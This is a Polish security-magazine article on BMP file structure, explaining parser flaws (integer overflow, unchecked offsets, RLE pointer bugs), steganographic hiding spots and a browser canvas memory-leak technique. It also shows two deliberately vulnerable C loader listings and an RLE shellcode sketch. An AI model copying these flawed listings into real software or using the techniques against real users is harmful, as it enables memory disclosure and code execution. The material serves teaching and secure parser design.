Drugim błędem który programi-
sta może popełnić jest założenie że
polu bfOffBits można zaufać i będzie
ono na pewno mniejsze od wielkości
pliku, a tym bardziej dodatnie (jak pi-
sałem wcześniej jest to DWORD, czy-
li liczbą bez znaku, ale należy pamię-
tać że suma dwóch liczb 32 bitowych
Tabela 1.
Struktura BITMAPFILEHEADER
Typ i nazwa pola
Opis
WORD bfType
Identyfikator BMP, zazwyczaj lite-
ry „BM”
DWORD bfSize
Całkowita wielkość pliku
WORD bfReserved1
Zarezerwowane, zaleca się nadanie
wartości 0
WORD bfReserved2
Zarezerwowane, zaleca się nadanie
wartości 0
DWORD bfOffBits
Pozycja (offset) danych w pliku
Rysunek 1.
Budowa pliku BMP
hakin9 Nr 3/2008
www.hakin9.org
Atak
32
jest nadal liczbą 32 bitową, czyli nie
ma tak na prawdę różnicy czy jest to
DWORD czy SDWORD jeśli nastą-
pi integer overflow). Tego typu błąd,
niegroźny – ale jednak, występuje
w Microsoft Paint do wersji 5.1 włącz-
nie (czyli tej dołączonej do Microsoft
Windows XP SP2, wersja 6.0, dołą-
czona do Microsoft Windows Vista,
została poprawiona). Przykładowe
wykorzystanie widać na Rysunku 3.
Zestawiono na nim aplikację Microsoft
Paint oraz IrfanView, które wyświetla-
ją ten sam plik BMP. Jak można do-
myślić się z rysunku IrfanView posta-
nowił zignorować błędnie wypełnione
pole bfOffBits i uznał że dane obrazu
znajdują się bezpośrednio za nagłów-
kami, natomiast mspaint.exe wykonał
operacje WyświetlBitmapę(Początek-
Danych + bfOffBits), co poskutkowa-
ło wyświetleniem fragmentu pamięci
należącej do aplikacji. Należy dodać
że w wypadku gdy PoczątekDanych
+ bfOffBits wskazuje na nieistnieją-
cy fragment pamięci, zostaje rzuco-
ny wyjątek (Naruszenie Ochrony Pod-
czas Odczytu, ang. Read Access Vio-
lation), w wypadku mspaint.exe jest
on jednak obsługiwany. Należy za-
uważyć iż jeżeli tego typu błąd wystą-
pił by w aplikacji posiadającej w pa-
mięci wrażliwe dane, to sprawny so-
cjotechnik mógł by z powodzeniem
wydobyć od nieświadomego użyt-
kownika zrzut ekranu na którym wi-
dać źle wyświetlaną bitmapę która tak
na prawdę przedstawiała by fragment
pamięci na przykład z hasłem i logi-
nem danego użytkownika.
Warto zauważyć iż odsunięcie
danych od nagłówków stwarza do-
wolną ilość miejsca na ukrycie ewen-
tualnych dodatkowych danych.
Podsumowując strukturę BIT-
MAPFILEHEADER, są tu dwa miej-
sca w których programista może po-
pełnić błąd, a także 64 bity (8 bajtów)
w samym nagłówku, w których moż-
na zapisać (ukryć) dodatkowe dane.
Nagłówek
BITMAPINFOHEADER
Drugim z kolei nagłówkiem plików
BMP w wersji Windows V3 jest BIT-
MAPINFOHEADER, struktura skła-
dająca się z 11 pól o łącznej długości
40 bajtów (28h), rozpoczynająca się
od offsetu 0Eh.
Pierwsze pole – biSize – określa
wielkość niniejszego nagłówka, po
tej wielkości aplikacje rozpoznają czy
nagłówkiem jest faktycznie BITMA-
PINFOHEADER, i czy plik BMP jest
na pewno wersją Windows V3 forma-
tu BMP. Prawidłową wartością jest
oczywiście 40 (28h). Niektóre apli-
kacje, takie jak IrfanView czy Mozil-
la, przyjmują że plik BMP jest plikiem
w wersji Windows V3 nawet w wypad-
ku gdy biSize posiada jakąś inną, nie-
znaną, wartość – daje to możliwość
ukrycia kolejnych 32 bitów danych, z
tym że nie wszystkie programy będą
potrafiły poradzić sobtie z wyświetle-
niem bitmapy w takim wypadku.
Drugim, trzecim oraz piątym
z kolei polem są kolejno biWidth, bi-
Height oraz biBitCount. Są to, jak na-
zwa wskazuje, informacje o szeroko-
ści bitmapy (biWidth), jej wysokości
(biHeight) oraz głębi kolorów, czyli
ilości bitów które opisują każdy ko-
lejny piksel (biBitCount). Wartości
z tych pól bardzo często służą do
wyliczenia całkowitej ilości bajtów
potrzebnej do przechowania bitmapy
w pamięci. W tym celu implementuje
się następujące równanie:
PotrzebnaIlośćBajtów =
Szerokość * Wysokość * (Głębia / 8)
W przypadku BMP szerokość, czyli
biWidth, w tym równaniu zaokrągla-
na jest w górę do najbliższego iloczy-
nu liczby 4 (więcej o tym będzie w pa-
ragrafie Dane obrazu –
BI _ RGB
), czy-
li jeśli bitmapa na przykład ma szero-
kość 109 pikseli, to w tym równaniu
zostanie użyta wartość 112. Tak więc
to równanie w przypadku BMP ma
następującą postać:
PotrzebnaIlośćBajtów =
ZaokrąglonaSzerokość *
Wysokość * (Głębia / 8)
Tak wyliczona wartość używana jest
zazwyczaj do alokacji pamięci na po-
trzeby docelowej bitmapy. Jest to jed-
nocześnie miejsce, w którym istnie-
je prawdopodobieństwo błędnej im-
plementacji. Załóżmy na chwilę że
programista założył że PotrzebnaIlo-
śćBajtów jest wartością typu LONG
lub DWORD (32 bity), a tak się czę-
sto zdarza. Jeżeli wynik równania bę-
dzie większy od FFFFFFFFh, czy-
li maksymalnej liczby którą można
zapisać w 32 bitowej zmiennej typu
całkowitego/naturalnego, to nastą-
pi przepełnienie zmiennej całkowi-
tej (ang. Integer Overflow), co z ko-
lei może doprowadzić do błędu ty-
pu przepełnienia bufora. Weźmy pod
uwagę kod z Listingu 2. Programista
zaokrągla szerokość po czym wyli-
cza potrzebną ilość bajtów, a następ-
nie alokuje pamięć i wczytuje wiersz
po wierszu całą bitmapę do zaaloko-
wanej pamięci. Wszystko wydaje się
być w porządku, ale załóżmy na chwi-
lę że otrzymaliśmy bitmapę o wielko-
ści 65536x65536x8, czyli szerokość
i wysokość mają wartość 10000h.
Po podstawieniu wartości w równa-
Tabela 2.
Struktura BITMAPINFOHEADER
Typ i nazwa pola
Opis
DWORD biSize
Wielkość nagłówka, w tym wypadku 28h
LONG biWidth
Szerokość bitmapy
LONG biHeight
Wysokość bitmapy
WORD biPlanes
Ilość płaszczyzn, przyjęto wartość 1
WORD biBitCount
Ilość bitów na piksel
DWORD biCompression
Rodzaj zastosowanego kodowania/kompresji
DWORD biSizeImage
Wielkość nieskompresowanej bitmapy w pamięci
LONG biXPelsPerMeter
DPI poziome
LONG biYPelsPerMeter
DPI pionowe
DWORD biClrUsed
Użyta ilość kolorów
DWORD biClrImportant
Ilość ważnych kolorów
Format BMP okiem hakera
hakin9 Nr 3/2008
www.hakin9.org
33
niu na potrzebną ilość bajtów otrzy-
mamy 10000h * 10000h * (8/8), czy-
li 100000000h. DWORD pomieścić
może jedynie najmłodsze 32 bity tej
liczby, w związku z czym w zmiennej
size zapisane zostanie 00000000h,
czyli 0. Następnie dojdzie do aloka-
cji pamięci, która zakończy się suk-
cesem (przykładowo system Win-
dows zaalokuje 16 bajtów, mimo ze
malloc dostał 0 w parametrze), a po-
tem zostanie w to miejsce wczytane
65536 wierszy po 65536 pikseli każ-
dy, czyli 4 GB danych, co spowodu-
je przepełnienie bufora oraz wyrzuce-
nie wyjątku (ang. Write Access Viola-
tion). W przypadku gdy wyjątek zosta-
nie obsłużony prawdopodobnie bę-
dzie również możliwość wykonania
kodu, a w wypadku gdy nie zostanie
obsłużony, aplikacja po prostu zakoń-
czy działanie z odpowiednim komuni-
kacje o błędzie.
Czwartym z kolei polem, pomi-
niętym wcześniej, jest biPlanes, które
mówi o ilości płaszczyzn. Przyjęte jest
że w tym polu powinna być wartość 1.
Niektóre programy ignorują wartość
tego pola, przez co możliwe jest ukry-
cie kolejnych 16 bitów danych.
Kolejnym, szóstym polem jest
biCompression field. To pole przyj-
muje pewne z góry ustalone war-
tości które mówią o sposobie ko-
dowania i kompresji użytej w przy-
padku danego pliku BMP. Dostęp-
ne wartości w BMP Windows V3 to
BI _ RGB (0)
,
BI _ RLE8 (1)
,
BI _ RLE4
(2)
oraz
BI _ BITFIELDS (3)
. Kolejne
wersje formatu BMP zakładają rów-
nież dwie inne wartości:
BI _ JPEG (4)
oraz
BI _ PNG (5)
. Różne rodzaje ko-
dowanie BMP są omówione w kolej-
nych podpunktach.
Następnym polem jest biSizeIma-
ge określające całkowitą wielkość bit-
mapy po ewentualnej dekompresji
(jeżeli bitmapa nie jest kompresowa-
na, to pole może być ustawione na 0).
W przypadku tego pola pułapka wy-
gląda bardzo podobnie jak w przy-
padku pola bfSize z BITMAPFILEHE-
ADER, zaleca się więc zignorowanie
wartości tego pola. Nieostrożne uży-
cie wartości biSizeImage przy aloka-
cji pamięci, a następnie brak kontro-
li pozycji wskaźnika zapisu przy de-
kompresji może prowadzić do prze-
pełnienia bufora.
Dwa kolejne pola – biXPelsPer-
Meter oraz biYPelsPerMeter – mówią
o poziomej i pionowej ilości pikseli przy-
padających na metr (informacja ana-
logiczna do DPI, ang. Dots Per Inch).
Informacje te są potrzebne głównie
w przypadku drukowania danej bitma-
py. Pojawia się tutaj pewna groźba w
przypadku implementacji drukowania
bitmap – rozdzielczość ta może przy-
jąć bardzo małą wartość (na przykład
1), i wtedy nawet mała bitmapa może
zająć kilkanaście kartek A4, lub bar-
dzo dużą wartość, przez co cała bit-
mapa będzie wielkości milimetr na mi-
limetr. To pole może zostać wykorzy-
stane również do przechowania pew-
nej informacji (64 bity łącznie), szcze-
gólnie jeśli nie zależy nam na popraw-
ności rozdzielczości drukowanej.
Przedostatnim polem jest biClrU-
sed które mówi o ilości kolorów w pa-
lecie barw. Jeżeli to pole jest wyzero-
wane, przyjmuje się że ilość kolorów
w palecie jest równa liczbie 2 pod-
niesionej do potęgi biBitCount (do
8 bitów włącznie), czyli na przykład
w przypadku 8-bitowej bitmapy przyj-
muje się że paleta ma 256 kolorów.
Co ciekawe, programiści mają ten-
dencje ufać temu polu i zakładać że
jeżeli biClrUser wynosi na przykład 1,
to w bitmapie pojawi się jedynie pierw-
szy z kolei kolor, czyli 00. Jeżeli w bit-
mapie pojawi się więcej kolorów pra-
widłowym działaniem powinno być al-
bo wyświetlanie pozostałych kolorów
jako czarny (czyli wyzerowanie pozo-
Tabela 3.
Struktura RGBQUAD
Typ i nazwa pola
Opis
BYTE rgbBlue
Wartość barwy niebieskiej
BYTE rgbGreen
Wartość barwy zielonej
BYTE rgbRed
Wartość barwy czerwonej
BYTE rgbReserved
Zarezerwowane
Listing 1.
Niebezpieczny kod wczytujący bitmapę
void
*
ReadBMPtoMemory
(
const
char
*
name
,
unsigned
int
*
size
)
{
char
*
data
=
NULL
;
BITMAPFILEHEADER
bmfh
;
FILE
*
f
=
NULL
;
size_t
ret
=
0
;
/* Otwórz plik */
f
=
fopen
(
name
, „
rb
”
);
if
(!
f
)
return
NULL
;
/* Wczytaj naglowek i zaalokuj pamięć */
fread
(&
bmfh
,
1
,
sizeof
(
bmfh
));
*
size
=
bmfh
.
bfSize
;
data
=
malloc
(
bmfh
.
bfSize
);
if
(!
data
)
goto
err
;
memset
(
data
,
0
,
bmfh
.
bfSize
);
/* Wczytaj plik */
fseek
(
f
,
0
,
SEEK_SET
);
do
{
ret
+=
fread
(
data
+
ret
,
1
,
0x1000
,
f
);
}
while
(!
feof
(
f
));
/* Powrót */
fclose
(
f
);
return
data
;
/* Obsluga bledow */
err
:
if
(
f
)
fclose
(
f
);
if
(
data
)
free
(
data
);
return
NULL
;
}
hakin9 Nr 3/2008
www.hakin9.org
Atak
34
stałej części palety), albo wykonanie
operacji modulo (
wyświetlony _ kolor
= kolor % biClrUsed
). Tak zachowu-
ją się MSPaint, Internet Explorer, czy
Paint Shop Pro. Bardzo dużo progra-
mów jednak rysuje bitmapę na swój
własny sposób, czego przykład jest
przedstawiony na Rysunku 4. W tym
miejscu należało by się zaintereso-
wać czemu tak się dzieje, oraz skąd
się biorą pozostałe kolory – ponie-
waż w palecie w pliku BMP
zadekla-
rowany został tylko jeden. Odpowiedź
na to drugie pytanie jest dość prosta
– najwyraźniej programy alokują pa-
mięć na pełną paletę kolorów (256 ko-
lorów), po czym wczytują z pliku ca-
łą tam zawartą paletę (1 kolor). Resz-
ta palety, jako że nie była wyzerowa-
na, zawiera w takim przypadku dane
które znajdowały się wcześniej w pa-
mięci, a konkretniej na stogu (ang. he-
ap). Drugą możliwa odpowiedź jest ta-
ka że program alokuje paletę o wielko-
ści biClrUsed, a kolory powyżej biCl-
rUsed po prostu korzystają z pamię-
ci po za paletą tak jak by to był dalszy
ciąg palety (tzw. boundary condition
error). W obu przypadkach kolory któ-
re według pola biClrUsed nie powinny
być używane, są opisane przez dane
znajdujące się w pamięci. Idąc o krok
dalej, można stworzyć BMP o wielko-
ści 256x1 w której dane obrazu bę-
dą kolejnymi kolorami, od 00 do FFh,
dzięki temu wyświetlona bitmapa bę-
dzie praktycznie rzecz biorąc skopio-
waną paletą kolorów, czyli na ekranie
pojawią się, w postaci kolorowych pik-
seli, dane z pamięci. Czy jednak moż-
na w jakiś sposób przesłać automa-
tycznie przesłać tą bitmapę do jakie-
goś zdalnego serwera? Okazuje się
że w przypadku Firefox 2.0.0.11 oraz
Opera 9.50 beta jest to możliwe. Obie
te przeglądarki obsługują wprowadzo-
ny w
HTML 5 tag <canvas>
, który umoż-
liwia rysowanie po płótnie, kopiowanie
bitmap z tagów
<img>
na płótno, oraz
odczyt wartości kolorów z płótna.
Możliwe jest więc stworzenie skryptu
który wyświetli odpowiednio sprepa-
rowany plik BMP a następnie skopiuje
go na canvas, odczyta wartości kolo-
rów i prześle je na zdalny serwer. Wg.
badań przeprowadzonych przez au-
tora dane przesyłane na zdalny ser-
wer mogą zawierać fragmenty innych
stron, fragmenty ulubionych, fragmen-
ty historii oraz inne informacje. W mo-
mencie pisania tego artykułu powyż-
sza, znaleziona przez autora, luka,
klasyfikowana jako Remote Informa-
tion Disclosure, nie została jeszcze
poprawiona.
Ostatnim polem tego nagłówka
jest biClrImportant – mówiące o ilości
istotnych kolorów w bitmapie. Stanow-
cza większość aplikacji ignoruje jed-
nak to pole, dzięki czemu może ono
zostać użyte do przechowania 32 bi-
tów danych niezwiązanych z bitmapą.
Podsumowując, w nagłówku BIT-
MAPINFOHEADER znajduje się wie-
le pól które nieuważny programista
może potraktować ze zbytnim zaufa-
niem narażając tym samym użytkow-
nika na wyciek informacji a nawet wy-
konanie kodu. Dodatkowo w tym na-
główku można ukryć kolejne bajty
informacji dodatkowych, niezwiąza-
nych z bitmapą.
Paleta barw
Paleta barw jest tablicą struktur
RGBQUAD (patrz Tabela 3) które
opisują wartość barw, kolejno niebie-
skiej, zielonej i czerwonej, danego ko-
loru. Dodatkowo każda struktura do-
pełniona jest jedno bajtowym po-
lem rgbReserved, dzięki czemu cała
struktura ma wielkość 32 bitów (4 baj-
tów). Standard nakazuje aby to ostat-
nie pole było wyzerowane, jednak
w rzeczywistości aplikacje nie spraw-
dzają tego. To pole może zostać uży-
te do ukrycia dodatkowych informacji,
lub do zapisania kanału alfa (w przy-
padku bitmap 32 bitowych). Paleta
barw występuje w przypadku bitmap
1 (1 bitowa bitmapa wcale nie musi
być czarno-biała!), 4 oraz 8 bitowych
(patrz pole biBitCount z BITMAPIN-
FOHEADER). W przypadku tych bit-
map, jeśli pole biClrUsed nie mówi in-
aczej, paleta zawiera kolejno 2, 16 lub
256 struktur RGBQUAD.
Dane obrazu – BI_RGB
Dane obrazu w przypadku BI_RGB
należy rozważać w dwóch katego-
riach – faktycznych kolorów RGB (bit-
mapa 24 bitowa), oraz numerów kolo-
rów w palecie barw (1 bitowe, 4 bitowe
lub 8 bitowe bitmapy). Niemniej jednak
kilka rzeczy jest wspólne. Pierwszą z
nich jest zapis bitmapy do góry noga-
mi, czyli pierwsze w pliku znajdują się
wiersze które trafią na dół bitmapy, a
kolejne zawierają informacje o wier-
szach znajdujących się coraz wyżej w
Listing 2.
Niebezpieczny kod alokujący pamięć i wczytujący dane
/* Wylicz szerokosc i wielkosc */
DWORD
padded_width
=
(
bmih
.
biWidth
+
3
)
&
(
~
3
);
DWORD
size
=
padded_width
*
bmih
.
biHeight
*
(
bmih
.
biBitCount
/
8
);
/* Alokacja pamieci */
char
*
data
=
malloc
(
size
)
,
*
p
;
if
(!
data
)
goto
err
;
/* Wczytaj dane */
fseek
(
f
,
bmfh
.
biOffBits
,
SEEK_SET
);
for
(
p
=
data
,
y
=
0
;
y
<
bmih
.
biHeight
;
y
++
,
p
+=
padded_width
)
fread
(
p
,
1
,
padded_width
,
f
);
Rysunek 2.
Wykorzystanie ignorowania pola bfOffBits
Format BMP okiem hakera
hakin9 Nr 3/2008
www.hakin9.org
35
faktycznym obrazie. Drugą rzeczą jest
wspomniane wcześniej dopełnianie
ilości danych (bajtów) w wierszy do ilo-
czynu liczby 4. W przypadku kiedy ilo-
czyn szerokości i ilości bajtów przypa-
dających na piksel nie jest podzielny
przez 4, na koniec danych wiersza do-
pisywana jest odpowiednia ilość (od 1
do 3) bajtów zerowych, tak aby całko-
wita ilość danych opisujących wiersz
była iloczynem liczby 4. Jak się łatwo
domyślić żadna aplikacja nie spraw-
dza czy w dopełnieniu zostały użyte
zera, można więc wykorzystać dopeł-
nienie do ukrycia własnych danych.
Korzystając z tego sposobu można
ukryć, w zależności od szerokości
wiersza, od 1 do 3 bajty na wiersz ra-
zy wysokość bitmapy.
W przypadku 24-bitowej bitmapy
i
BI _ RGB
kolejne bajty zawierają, po-
dobnie jak w palecie barw, wartość
barwy niebieskiej, zielonej oraz czer-
wonej każdego piksela (po 3 bajty na
piksel). Przykładowo, 00 00 00 zosta-
nie wyświetlone na ekranie na kolor
czarny, a 00 FF 00 na kolor zielony.
Popularną metodą steganograficzną
jest użycie najmniej znaczącego bi-
tu każdej barwy w każdym pikselu do
przechowania ukrytych informacji.
W przypadku 8-bitowej bitmapy
kolejne bajty zawierają numery kolo-
rów z palety kolorów, a podczas prze-
noszenia bitmapy na 24-bitowy ekran
każdy piksel jest zamieniany z nu-
meru koloru na wartości poszcze-
gólnych barw pobrane z palety kolo-
rów. W przypadku 8-bitowej bitmapy
w wypadku gdy nie wszystkie kolory
są używane (lub w wypadku bitmap
1-bitowych i 4-bitowych skonwerto-
wanych do 8-bitowej bitmapy) moż-
na ukryć dodatkowe informacje bez
zmiany wyglądu bitmapy poprzez po-
wielenie części palety kolorów i sto-
sowanie zamiennie kolorów z czę-
ści oryginalnej (0) lub powielonej (1).
W przypadku 4-bitowych bitmap (czy-
li 16-kolorowych) skonwertowanych
do 8-bitowych paletę kolorów można
powielić 16 razy (256/16 = 16), dzię-
ki czemu na dobrą sprawę najbardziej
znaczące 4 bity każdego bajtu mogą
zawierać dowolne ukryte dane.
Dane obrazu – BI_RLE8
Ostatnią poruszaną w tym artykule
kwestią dotyczącą BMP jest kodo-
wanie RLE 8-bitowych bitmap. RLE
(ang. Run Length Encoding) jest bar-
dzo prostą metodą kompresji polega-
jącą na zapisie danych w postaci pary
ilość wystąpień oraz znak. Przykłado-
wo ciąg AAAABBB za pomocą RLE
został by skompresowany do 4A3B.
W przypadku BMP za równo ilość
wystąpień oraz znak mają wielkości
jednego bajtu (czyli razem 16 bitów).
Oprócz tego BMP RLE posiada rów-
nież specjalne znaczniki zaczynające
się od bajtu zerowego (czyli ilość wy-
stąpień wynosi zero), są to:
00 00 – Przejście na początek
następnego wiersza bitmapy (czy-
li kolejne dane opisują nowy wiersz,
przyjmuje się że do końca obec-
nego wiersza dane mają kolor 0).
Większość aplikacji oczekuje że każ-
dy wiersz będzie zakończony 00 00,
ale istnieją również takie (IrfanView)
u których jest to niekonieczne.
00 01 – Zakończenie bitmapy. Je-
żeli pozostały jakieś niezapisane pik-
sele, nadaje się im kolor 0. 00 02 XX
YY – Ten znacznik składa się z czte-
rech bajtów. Dwa dodatkowe bajty
zawierają liczbę kolumn oraz wier-
szy o jaką wskaźnik zapisu należy
przesunąć (czyli mówi o tym ile pik-
seli i wierszy dalej znajdują się na-
stępne dane). Wszystkie pominię-
te piksele przyjmuje się że mają ko-
lor 0. 00 NN ... (gdzie NN >= 3) – Jest
to znacznik przełączający dekompre-
sje w tzw. tryb bezwzględny. Zaraz po
nim następują bajty które nie są zako-
dowane RLE, a po prostu przepisane
z kompresowanej bitmapy – o ilości
tych bajtów mówi drugi bajt znaczni-
ka (oznaczony jako NN). Bajty nastę-
pujące po znaczniku powinny zostać
po prostu przepisane na rozpakowa-
ną bitmapę. W przypadku gdy liczba
NN jest nieparzysta, należy następu-
jące bajty dopełnić jednym bajtem ze-
rowym, w celu uzyskania parzystej
liczby bajtów. Oczywiście żadna apli-
kacja nie sprawdza czy jest to bajt ze-
rowy, można więc zapełnić do ukryty-
mi informacjami.
Tak skonstruowana kompre-
sja RLE stawia wiele pułapek przed
programistą, i jednocześnie stwa-
rza wiele miejsc na ukrycie danych.
Przykładowo osoba chcąca ukryć da-
ne może posłużyć się różnymi sposo-
bami skompresowania tej samej bit-
Rysunek 3.
Ta sama bitmapa różnie
rysowana w różnych programach
Rysunek 4.
Brak kontroli wartości pola bfOffBits w mspaint.exe
hakin9 Nr 3/2008
www.hakin9.org
Atak
36
mapy używając różnych znaczników.
Przykładowo bitmapa składająca się
z kolorów AABBBCC może zostać
zapisana jako 02 A 03 B 02 C, lub ja-
ko 01 A 01 A 02 B 01 B 01 C 01 C, lub
nawet – korzystając ze specjalnych
znaczników – jako 00 03 A A B 00 00
02 00 00 01 B 02 C. Pomijając spra-
wy skuteczności kompresji, liczba
możliwości w jaki sposób można za-
pisać taką bitmapę jest nieskończo-
na (choćby dlatego że znacznik 00 02
00 00 można wstawiać bezkarnie do-
wolną ilość razy) – można więc stwo-
rzyć pewnego rodzaju kod dzięki któ-
remu można by przechowywać infor-
macje w bitmapie, bez zmiany jej fak-
tycznego wyglądu.
Jeżeli zaś chodzi o pułapki, to
pierwszą rzucającą się w oczy jest
przepełnienie bufora w przypad-
ku gdy programista nie sprawdzi czy
dekompresja pojedynczej pary RLE
nie przepełni bufora. Łatwo wyobra-
zić sobie przypadek w którym bitma-
pa o wielkości 1x1 zawiera w danych
obrazu znacznik FF 00 (czyli 255 ra-
zy bajt 0). W przypadku braku kontro-
li czy wskaźnik dekompresji nie wyj-
dzie po za bufor, takie coś może spo-
wodować w najlepszym wypadku wy-
jątek, a w najgorszym wykonanie ko-
du. Analogiczna pułapka występu-
je w przypadku znacznika włączają-
cego tryb bezwzględny. Zapis
00 FF
<shellcode> 00
w danych bitmapy mo-
że doprowadzić do faktycznego wy-
konania kodu (prawdopodobnie bę-
dzie to trudne, ale jednak możliwe).
Powyższe pułapki są jednak bar-
dzo oczywiste, i mało który programi-
sta w nie wpada. Troszeczkę mniej
oczywistą pułapką jest znacznik 00
02 XX YY służący do przesuwania
do przodu znacznika zapisu dekom-
presowanych danych. Ivan Fratric 6
kwietnia roku 2007 opublikował in-
formacje na temat wykorzystania ta-
gu 00 02 XX YY do wykonania ko-
du w ACDSee oraz IrfanView. Pro-
blem polegał na tym iż programiści
w obu przypadkach nie sprawdza-
li czy wskaźnik zapisu po wykonaniu
znacznika 00 02 XX YY nie opuścił
bufora bitmapy. Możliwe zatem sta-
ło się nakierowanie wskaźnika zapi-
su na dowolny fragment pamięci, i na-
stępnie nadpisanie go dowolnymi da-
nymi. W przypadku IrfanView, który
w tej wersji spakowany był ASPac-
kiem, sytuację dodatkowo pogarszał
fakt iż sekcja .text (w której znajdu-
je się kod programu, patrz pliki PE)
miała prawa do zapisu, czyli atakują-
cy mógł przesunąć wskaźnik zapisu
za pomocą serii 00 02 FF FF na sek-
cje .text, a następnie nadpisać znaj-
dujący się tam kod własnym kodem
– na przykład uruchamiającym back-
doora. Nowsze wersje IrfanView (od
4.00 włącznie) nie są jednak już po-
datne na ten błąd.
Pewien mniej groźny błąd, ale
mogący utrudnić życie użytkowniko-
wi, znalazł autor (współpracując z ha-
kerem o pseudonimie Simey) w prze-
glądarce Opera (9.24 oraz 9.50 be-
ta). Programiści Opery popełnili błąd
podczas implementowania tagu 00
02 XX YY który powodował iż ob-
sługa tego znacznika była niewiary-
godnie wolna. Dzięki temu stało się
możliwe stworzenie bitmapy której
przetwarzanie w Operze trwa 4 mi-
nuty na bardzo szybkim komputerze,
a 20 minut na średnim – w tym czasie
Opera nie reaguje na żadne bodźce
zewnętrzne. Atakujący mógłby stwo-
rzyć stronę WWW zawierającą setki
takich bitmap, przez co przeglądarka
nieświadomego użytkownika mogła
by odmówić posłuszeństwa na dłu-
gie godziny.
Podsumowując, kodowanie RLE
stwarza wiele możliwości ataku oraz
ukrycia informacji. Należy zachować
szczególną ostrożność implementu-
jąc obsługę RLE w formacie BMP.
Bezpieczna
implementacja
Programista powinien pamiętać, iż
zgodność ze standardem zapewnia
bezpieczną obsługę jedynie popraw-
nych bitmap faktycznie zgodnych ze
standardem – pliki BMP zgodne je-
dynie w części ze standardem mogą
przysporzyć sporo problemów. Wda-
jąc się w szczegóły techniczne, pro-
gramista powinien zwracać uwagę
szczególnie na sprawdzenia granic
używanych buforów i tablic – bufo-
ru obrazu, buforu skompresowanych
danych, czy palety kolorów. Granice,
co nie dla wszystkich jest oczywi-
ste, powinny być sprawdzane z obu
stron, aby zapobiec zarówno błędom
typu buffer overflow, jak i błędom ty-
pu buffer underflow. Programista po-
winien również używać odpowied-
niego rozmiaru zmiennych, lub sto-
sownego ograniczania wartości, aby
zapobiec sytuacjom z przepełnie-
niem zmiennej całkowitej (ang. inte-
ger overflow) – warto w tym wypad-
ku zwrócić uwagę szczególnie na
równanie obliczające wielkość bit-
mapy. Czytając standard należy my-
śleć nie tylko o tym, jak go zaimple-
mentować, ale również jak zabezpie-
czyć przed nieprawidłowym użyciem
każdej pojedynczej cechy formatu,
co może się stać, gdyby któreś po-
le nagłówka przyjęło nieprawidłową
(z logicznego punktu widzenia) war-
tość, oraz jakie mogą być tego kon-
sekwencje. Należy pamiętać, iż pro-
gramista musi zabezpieczyć wszyst-
ko, ponieważ atakujący musi znaleźć
tylko jeden błąd.
Podsumowanie
Format BMP, mimo swojej pozor-
nej prostoty (w porównaniu do np.
PNG czy JPEG) jest najeżony pu-
łapkami, miejscami gdzie można po-
pełnić choćby drobny błąd, oraz za-
wiera wiele miejsc w których można
ukryć dodatkowe dane, bez wpływa-
nia na wyświetlaną bitmapę.
Jako zadanie domowe pozosta-
wiam czytelnikowi analizę zapisu da-
nych obrazu metodą BI_BITFIELD,
oraz analizę pozostałych wersji for-
matu BMP. l
O autorze
Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym.
Kontakt z autorem: gynvael@coldwind.pl
Strony rekomendowane
Misją serwisu jest zaprezentowanie języ-
ków programowania oraz ułatwienie użyt-
kownikowi ich szybkiej nauki.
http://www.cjp.xt.pl
Strona firmy świadczącej profesjonalne
usługii IT, specjalizującej się w wypożycza-
niu serwerów i macierzy. Firma prowadzi
także centrum szkoleniowe.
http://www.itlpolska.pl
Portal poświęcony technikom programo-
wania oraz sposobom ochrony przed za-
grożeniami jakie płyną z Internetu. Przedsta-
wione techniki służą do celów edukacyjnych,
nie należy ich wykorzystywać w niewłaści-
wy sposób.
http://www.hackerzy.pl
Portal internetowy poświęcony w całości
branży IT. Podzielony jest na trzy działy po-
święcone sprzętowi komputerowemu, grom
i rozrywce oraz najnowszym aplikacjom.
http://www.pcarena.pl/index.php
Do niedawna termin hacking był zarezerwo-
wany tylko dla profesjonalistów. Na tym por-
talu można dowiedzieć się więcej o tym za-
gadnieniu. Znajdują się na nim również aktu-
alności i obszerny dział downloads.
http://www.hakerczat.prv.pl/index.html
Portal dla wszystkich zainteresowanych te-
matyką bezpieczeństwa, audytem, IT Go-
vernance w sieciach i systemach teleinfor-
matycznych, a także ochroną danych.
http://www.locos.pl/
Witryna poświęcona w całości tematy-
ce hakingu. Początkujący w tej dziedzinie
znajdą na niej działy, ktore im umożliwią
rozpoczęcie nauki.
http://www.haker.ocom.pl/
Misją serwisu jest dostarczenie dużej ilo-
ści informacji z zakresu informatyki. Znaj-
dują się na nim ciekawe artykuły, najśwież-
sze informacje z rynku IT, recenzje książek
jak i kursy tworzenia portali www.
http://www.swww.pl/
Serwis poświęcony branży IT oferujący
codzienne newsy, artykuły, recenzje ma-
gazynów, testy oraz forum dyskusyjne.
http://www.webhat.pl/index.php
Strona dla każdego webmastera i hackera.
Jeśli zawsze chciałeś stworzyć swoją stro-
nę internetowej lub poznać haking od pod-
szewki, to ten serwis Ci w tym pomoże.
http://web4u.neth.pl/
Strona internetowa firmy Fit Consulting spe-
cjalizującej się w nowoczesnych rozwią-
zaniach informatycznych, zaczynając od
sprzedaży sprzętu komputerowego i świad-
czeniu usług po zaawansowane rozwiązania
zarządzania przedsiębiorstwem.
http://www.fit-consulting.pl/
Strona koła naukowego PK IT Security Gro-
up. Koło ma na celu dostarczanie informacji
związanych z bezpieczeństwem.
http://www.pkitsec.pl/
Strony rekomendowane
www.hakin9.org
hakin9 Nr 3/2008
38
Atak
B
anki obracają naszymi pieniędzmi.
Starają się przy tym zachować mak-
simum bezpieczeństwa. W końcu,
kto chciałby ulokować swoje ciężko zarobio-
ne oszczędności w banku, który nie zapew-
ni im należytej ochrony? Obecnie większość
kont standardowo oferuje dostęp przez Inter-
net. I tu zaczynają się poważne schody dla
banków. Przeciętny użytkownik bankowości
elektronicznej ma niewielkie pojęcie o bez-
pieczeństwie. Korzysta ze źle skonfiguro-
wanego komputera, zgadza się na instalację
obiektów ActiveX pochodzących z niezna-
nych źródeł itd. Działają u niego programy
odczytujące hasła wprowadzane z klawiatu-
ry (ang. keylogger). Pokazywaliśmy już w ha-
kin9 1/2008, w jaki sposób można samemu
napisać taki program w języku C#. Aby temu
przeciwdziałać, niektóre instytucje wprowa-
dziły tzw. wirtualne klawiatury. Podczas logo-
wania się użytkownik musi wprowadzić hasło
które – zamiast wpisywać z prawdziwej kla-
wiatury – może wprowadzić klikając myszką
klawisze wyświetlone w przeglądarce inter-
